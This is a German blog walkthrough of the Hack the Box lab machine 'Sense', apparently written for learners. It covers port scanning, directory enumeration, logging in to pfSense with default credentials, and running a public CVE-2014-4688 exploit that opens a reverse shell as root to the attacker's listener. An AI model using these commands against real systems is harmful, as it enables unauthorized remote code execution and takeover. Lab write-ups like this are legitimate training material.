Featured image of post Hack the Box - Sense

Hack the Box - Sense

Walkthrough zur "Sense" Hack the Box Challenge

Zu Beginn erstelle ich mir einen Eintrag in der Hosts-Datei, damit ich mir nicht die IP-Adresse merken muss.

Danach führe ich einen NMAP-Scan durch.

1
nmap sense.htb -vv -sV -sC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
┌─[nobrac@htb-xet9c9n4zo]─[~]
└──╼ $nmap sense.htb -vv -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 11:27 CDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:27
Completed NSE at 11:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:27
Completed NSE at 11:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:27
Completed NSE at 11:27, 0.00s elapsed
Initiating Ping Scan at 11:27
Scanning sense.htb (10.129.224.195) [4 ports]
Completed Ping Scan at 11:27, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:27
Scanning sense.htb (10.129.224.195) [1000 ports]
Discovered open port 443/tcp on 10.129.224.195
Discovered open port 80/tcp on 10.129.224.195
Completed SYN Stealth Scan at 11:27, 3.98s elapsed (1000 total ports)
Initiating Service scan at 11:27
Scanning 2 services on sense.htb (10.129.224.195)
Completed Service scan at 11:27, 6.05s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.224.195.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:27
Completed NSE at 11:28, 5.04s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.06s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Nmap scan report for sense.htb (10.129.224.195)
Host is up, received echo-reply ttl 63 (0.0077s latency).
Scanned at 2024-06-28 11:27:47 CDT for 15s
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    REASON         VERSION
80/tcp  open  http       syn-ack ttl 63 lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://sense.htb/
443/tcp open  ssl/https? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/emailAddress=Email Address/localityName=Somecity/organizationalUnitName=Organizational Unit Name (eg, section)
| Issuer: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/emailAddress=Email Address/localityName=Somecity/organizationalUnitName=Organizational Unit Name (eg, section)
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-10-14T19:21:35
| Not valid after:  2023-04-06T19:21:35
| MD5:   65f8:b00f:57d2:3468:2c52:0f44:8110:c622
| SHA-1: 4f7c:9a75:cb7f:70d3:8087:08cb:8c27:20dc:05f1:bb02
| -----BEGIN CERTIFICATE-----
| MIIEKDCCA5GgAwIBAgIJALChaIpiwz41MA0GCSqGSIb3DQEBCwUAMIG/MQswCQYD
| VQQGEwJVUzESMBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEU
| MBIGA1UEChMLQ29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVu
| aXQgTmFtZSAoZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcs
| IF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p7OoBefxcf31Pn3VDnbvJJFFcZdplDxbIWh5lyjpTHRJQyHECtEMW677rFXJAl
| /cEYWHDndn9Gwaxn7JyffK5lUAPMPEDtudQb3cxrevP/iFZwefi2d5p3jFkDCcGI
| +Y0tZRIRzHWgQHa/
|_-----END CERTIFICATE-----

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds
           Raw packets sent: 2005 (88.196KB) | Rcvd: 12 (864B)

Ich sehe das Port 80 und 443 offen sind, also probiere ich die Website aufzurufen. Der Zugriff auf die Website über den DNS-Name wird allerdings auf Grund einer potenziellen DNS-Rebinding-Attack blockiert.

Also probiere ich es einfach erneut mit der IP-Adresse und siehe da, wir landen bei einem pfsense Login. Die default Credentials lauten laut Google “admin / pfsense”, jedoch haben diese leider nicht funktioniert.

Hier wusste ich dann ehrlich gesagt kurz nicht, wie ich weiterkomme. Ich habe dann probiert etwas mit Gobuster zu finden.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌─[nobrac@htb-xet9c9n4zo][~]
└──╼ $gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.129.224.195 -k -x txt, conf, php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.129.224.195
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.                    (Status: 200) [Size: 6690]
/themes               (Status: 301) [Size: 0] [--> https://10.129.224.195/themes/]
/css                  (Status: 301) [Size: 0] [--> https://10.129.224.195/css/]
/includes             (Status: 301) [Size: 0] [--> https://10.129.224.195/includes/]
/javascript           (Status: 301) [Size: 0] [--> https://10.129.224.195/javascript/]
/changelog.txt        (Status: 200) [Size: 271]
/classes              (Status: 301) [Size: 0] [--> https://10.129.224.195/classes/]
/widgets              (Status: 301) [Size: 0] [--> https://10.129.224.195/widgets/]
/tree                 (Status: 301) [Size: 0] [--> https://10.129.224.195/tree/]
/shortcuts            (Status: 301) [Size: 0] [--> https://10.129.224.195/shortcuts/]
/installer            (Status: 301) [Size: 0] [--> https://10.129.224.195/installer/]
/wizards              (Status: 301) [Size: 0] [--> https://10.129.224.195/wizards/]
/.                    (Status: 200) [Size: 6690]
/csrf                 (Status: 301) [Size: 0] [--> https://10.129.224.195/csrf/]
/system-users.txt     (Status: 200) [Size: 106]
/filebrowser          (Status: 301) [Size: 0] [--> https://10.129.224.195/filebrowser/]
/%7Echeckout%7E       (Status: 403) [Size: 345]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================

Hier wurden dann tatsächlich ein paar Dateien gefunden, welche interessant klingen. Zum Beispiel die “changelog.txt” und die “system-users.txt”.

Zuerst habe ich mir die “changelog.txt” angesehen.

Ein Update konnte bei der Firewall wohl nicht eingespielt werden und somit wurden nur 2 von 3 Sicherheitslücken geschlossen. Gut zu wissen.

Danach habe ich mir die “system-users.txt” angesehen. Hier stehen Zugangsdaten in der Datei. Das Passwort wird allerdings nur mit “company defaults” angegeben.

Ich habe dann probiert, mich bei der pfsense mit dem Zugang “Rohit / pfsense” anzumelden. Hat leider nicht geklappt. Dann hatte ich noch “Rohit / company defaults” probiert, klappte aber auch nicht. Am Ende hat es mit “rohit / pfsense” geklappt. Der User ist case sensitive.

Beim Dashboard sehen wir bereits eine wichtige Information:

1
2
3
2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16

Ich habe mit Hilfe von Searchsploit recherchiert, ob es für diese pfsense Version einen bekannten Exploit gibt. Einer wurde gefunden.

Anschließend habe ich mir den schnell in mein Homeverzeichnis geladen.

Anschließend habe ich mich kurz über die CVE-2014-4688 informiert. Sie lässt einen authentifizierten User Commands auf dem System ausführen. Klingt für unseren Einsatzzweck perfekt.

Source: NVD - CVE-2014-4688 (nist.gov)

Nun habe ich mir den Exploit, bzw. das Pythonscript genauer angesehen. Folgende Variablen müssen wir bei der Ausführung wohl mitgeben:

  • rhost
  • lhost
  • lport
  • username
  • password

Da der Exploit uns erlaubt, Code auf dem Zielsystem ausführen zu lassen, probiere ich mir damit eine Reverseshell aufbauen zu lassen. Also starte ich im nächsten Schritt meinen Netcat Listener.

Anschließend führe ich den Exploit aus.

1
2
3
4
5
┌─[nobrac@htb-xet9c9n4zo]─[~]
└──╼ $python3 43560.py --rhost 10.129.224.195 --lhost 10.10.14.38 --lport 1111 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed

Die Reverseshell wurde erfolgreich aufgebaut.

Ich überprüfe kurz, als welcher User ich nun angemeldet bin und stelle fest, dass ich direkt als root angemeldet bin.

Da der uns bekannte User “rohit” hieß, schaue ich in seinem Homeverzeichnis nach der Userflag und habe sie dort auch gefunden.

Die Rootflag finden wir immer im Verzeichnis von root.

Damit ist der Raum dann auch abgeschlossen.

Licensed under CC BY-NC-SA 4.0
Last updated on Jun 28, 2024 00:00 UTC
Servus.
Built with Hugo
Theme Stack designed by Jimmy